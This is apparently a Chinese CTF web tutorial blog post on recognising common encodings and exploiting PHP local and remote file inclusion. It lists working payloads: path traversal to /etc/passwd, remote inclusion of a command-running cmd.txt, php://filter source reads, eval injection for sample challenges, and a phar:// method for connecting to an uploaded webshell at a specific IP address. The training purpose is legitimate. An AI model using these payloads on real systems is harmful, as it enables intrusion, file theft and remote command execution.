CTF-web 第八部分 常见加密与文件包含 伪协议

(1)加密解密等

我们在做题的时候,经常会遇到一些奇怪的加密解密的字符串,这就需要我们能够识别一些比较常用的。

       1.base64

        这是一个常用的编码,而且原理也十分简单,非常容易得到原内容。 三字节变为四字节 前面补两个0。  所谓Base64,就是说选出64个字符----小写字母a-z、大写字母A-Z、数字0-9、符号"+"、"/"(再加上作为垫字的"=",实际上是65个字符)——作为一个基本字符集。然后,其他所有符号都转换成这个字符集中的字符。

        http://tool.chinaz.com/Tools/ScriptEncode.aspx

        特点识别:只包含A-Z,a-z,0-9,+,/,=字符 * 字符串长度是4的倍数 * =只会出现在字符串最后,可能没有或者一个等号或者两个等号。

        同理Base32编码将二进制文件转换成由32个ASCII字符组成的文本。(有在线工具)

      2 jsfuck

       这也是一个比较容易识别的一个编码,他实际上是利用字符在计算中的一些特殊意义,将需要的一段字符串转换为只包含 ()+[]!  这六个字符,确实是十分好辨别。

       网上有一些在线执行的网站,我们可以拿到上边去运行。

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

         3 rot13

        "rot13"是一个古老而又简单的加密方法,它把字母表中的每个字母用其后的第13 个字母来代替。字母表中前半部分字母将被映射到后半部分,而后半部分字母将被映射到前半部分,大小写保持不变。

        所以我们可想而知他的一些特点,比如两次加密之后就恢复了原来的字符(有在线工具)

          4 凯撒密码

        公元前100多年凯撒发明的一种密码,简单来说是平移密码,也就是将字母位置向后移动一定位数。

如原文是ABCDEFG,密钥为3,加密后就是DEFGHIJ。以密钥的数字向后平移了三位,如果密钥是5就是平移五位。

        凯撒密码最简单的破译方式为穷举法(暴力破解法),一共只有26个字母,平移25次并将平移后的字符串进行比较,就能取得最后的原文。(也有在线的解码工具)

        

        5 MD5

        MD5即Message-Digest Algorithm 5(信息-摘要算法5),用于确保信息传输完整一致。我们做题中经常会遇到一些有关MD5加密的东西,任意长度的数据,算出的MD5值长度都是固定的,均是32位。

        对于常见的比较简单的MD5,我们在网上可以通过一些网站直接得到原始信息。

        对于给出部分截取的,我们可以写脚本进行爆破,记住要多线程,否则很慢,在第一部分中,我已经提供了有关的脚本

        

        6 Brainfuck    

        也是一个轻巧特别容易识别的编码,BrainF**k 语言只有八种符号,所有的操作都由这八种符号的组合来完成:

< >+ - . , [ ],这是非常容易识别的。

(2)文件包含漏洞

        PHP文件包含漏洞,简单地说,就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码。  

    PHP文件包含的几个函数:

        include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。

        include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

        require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。

        require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

文件包含漏洞的一般特征如下:

        ?page=a.php

        ?home=a.html

        ?file=content

几种经典的测试方法:

        ?file=../../../../../etc/passwdd

        ?page=file:///etc/passwd

        ?home=main.cgi

        ?page=http://www.a.com/1.php

        http://1.1.1.1/../../../../dir/file.txt

(通过多个../可以让目录回到根目录中然后再进入目标目录)

    需要说明的是,进行RFI攻击需要同时具备三个条件(被攻击机器):

         1.allow_url_fopen = On (默认开启)

                    允许url链接导致的文件打开读取

         2.allow_url_include = On (默认关闭)

                    允许url中包含ftp://等包含形式

         3.被包含的变量前没有目录的限制

        服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。

        或者是比较常见的本地文件包含,使得我们可以访问目录下的其他文件

        比如我们会随便的打入下面这个URL:http: //hi.baidu.com/m4r10/php/index.php?page=hello.php。然后我们的index.php程序就傻傻按照上面我们说得步骤去执行:取page为hello.php,然后去include(hello.php),

        这时问题出现了,因为我们并没有hello.php这个文件,所以它 include的时候就会报警告,类似下列信息:

         Warning: include() [function.include]: Failed opening hello.php for inclusion (include_path=.:) in /vhost/wwwroot/php/index.php on line 3

        利用暴露的路径,我们可以尝试访问其他文件 http://hi.baidu.com/m4r10/php/index.php?page=./txt.txt

        也可以直接指定绝对路径,读取敏感的系统文件 http://hi.baidu.com/m4r10/php/index.php?page=/etc/passwd

        如果我们构造特殊代码的txt文件,可以接受cmd命令并返回 那么http://hi.baidu.com/m4r10/php/index.php?page=http: //www.xxx.cn/cmd.txt?cmd=[命令] 就可以达到目的。

   

  文件包含可以利用的方式

 (1) 直接进行文件的遍历读取;(读取敏感信息)在获悉中间件 IIS、apache与第三方集成包等程序默认安装路径的情况,可以直接利用文件包含结合目录遍历进行“配置文件的读取” 

               include.php?file=../../../etc/pass

               include.php?file=../../../xampp/htdocs/config.php

(2)解析符合php规范的任何文件;(本地包含配合文件上传) 

         可以利用文件包含函数可以解析任何符合PHP规范的文件的特性,结合文件上传绕过WAF,获取webshell。 

         利用过程:

                1)上传shell.txt /shell.jpg /shell.rar /shell.xxx (需要确认上传后,上传文件的绝对路径)

                2) 使用文件包含漏洞,直接解析上传的非php后缀的文件,获取webshell。

(3)使用PHP封装协议(读取php文件源码)

                PHP内置有很多类似于URL风格的封装协议:

                file:// --- 访问本地文件系统;

                http:// --- 访问HTTP(s)网址;  

                ftp:// --- 访问FTP(s)URLs ;

                php:// --- 访问输入/输出流(I/0 stream) 

               eg: http://www.test.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php

                      访问URL,得到Base64加密后的字符串 --- 》 加密的代码,进过解密后可以得到源文件内容。

               (PHP5.2.0之后的版本中支持data: 伪协议,可以很方便的执行代码)

这里一直不懂,为什么一定要使用加密呢base64,后来看到了一篇文章

        php://filter之前最常出镜的地方是XXE。由于XXE漏洞的特殊性,我们在读取HTML、PHP等文件时可能会抛出此类错误parser error : StartTag: invalid element name 。其原因是,PHP是基于标签的脚本语言,<?php ... ?>这个语法也与XML相符合,所以在解析XML的时候会被误认为是XML,而其中内容(比如特殊字符)又有可能和标准XML冲突,所以导致了出错。

        那么,为了读取包含有敏感信息的PHP等源文件,我们就要先将“可能引发冲突的PHP代码”编码一遍,这里就会用到php://filter。

        php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。比如,我们可以用如下一行代码将POST内容转换成base64编码并输出:

readfile("php://filter/read=convert.base64-encode/resource=php://input");

常用index.php?page=php://filter/read=convert.base64-encode/resource=name
//读取name.php文件的base64编码流 需要解码

 关于php://filter的一些知识

php://filter是我们常常使用的一个伪协议,在任意文件读取,甚至getshell的时候都有利用的机会。 
在include函数的使用上,经常会造成任意文件读取漏洞 
file_get_contents()和file_put_contents()这样函数下,常常会构成getshell等更严重的漏洞。

       php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。

      名称                                       描述
resource=<要过滤的数据流>       这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>           该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表>       该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表>           任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

phpfilter为协议受限制情况表

我们举一个例子,这是平时我们用来任意文件读取的payload

php://filter/read=convert.base64-encode/resource=upload.php

例题1  

$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
// 条件一使用php://input即可绕过,上面有介绍
// 这边发现include()动态包含了$file参数
// 传入file=php://filter/read=convert.base64-encode/resource=index.php 即可得到index.php的BASE64加密的源码

例题2

<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?>

看到Request函数,很明显可以想到文件包含,这里hello是可控的,那么,就可以构造包含语句,

?hello=1);show_source('flag.php');var_dump(

就可以show flag.php 的源代码,从而得到flag。

注意事项:注意构造语句的闭合。

例题3

<?php 
include "waf.php"; 
include "flag.php"; 
$a = @$_REQUEST['hello']; 
eval( "var_dump($a);"); 
show_source(__FILE__); ?>
// 其实就是拼接eval
// 可构造如下语句:

// 1);print_r(file(flag.php));
// 到了代码里就是

eval( "var_dump(1);print_r(file(flag.php));//);"); 

有些时候我们并不能直接传木马文件,需要压缩成zip文件上传,然后使用为协议读取和连接木马

例 将muma.php压缩成 test.zip 改成test.png   木马的密码为yu

那么连接的方式为

?page=phar://uP1O4Ds/YtrmooXQOlxr2lhpyiW1bORHcqkMJZEM_test.png/muma
       yu=phpinfo()  测试
          phar是解压协议,可以读取文件

http://202.112.51.130:8013/?page=phar://uP1O4Ds/YtrmooXQOlxr2lhpyiW1bORHcqkMJZEM_test.png/muma   yu   PHP

猜你喜欢

转载自blog.csdn.net/iamsongyu/article/details/83751045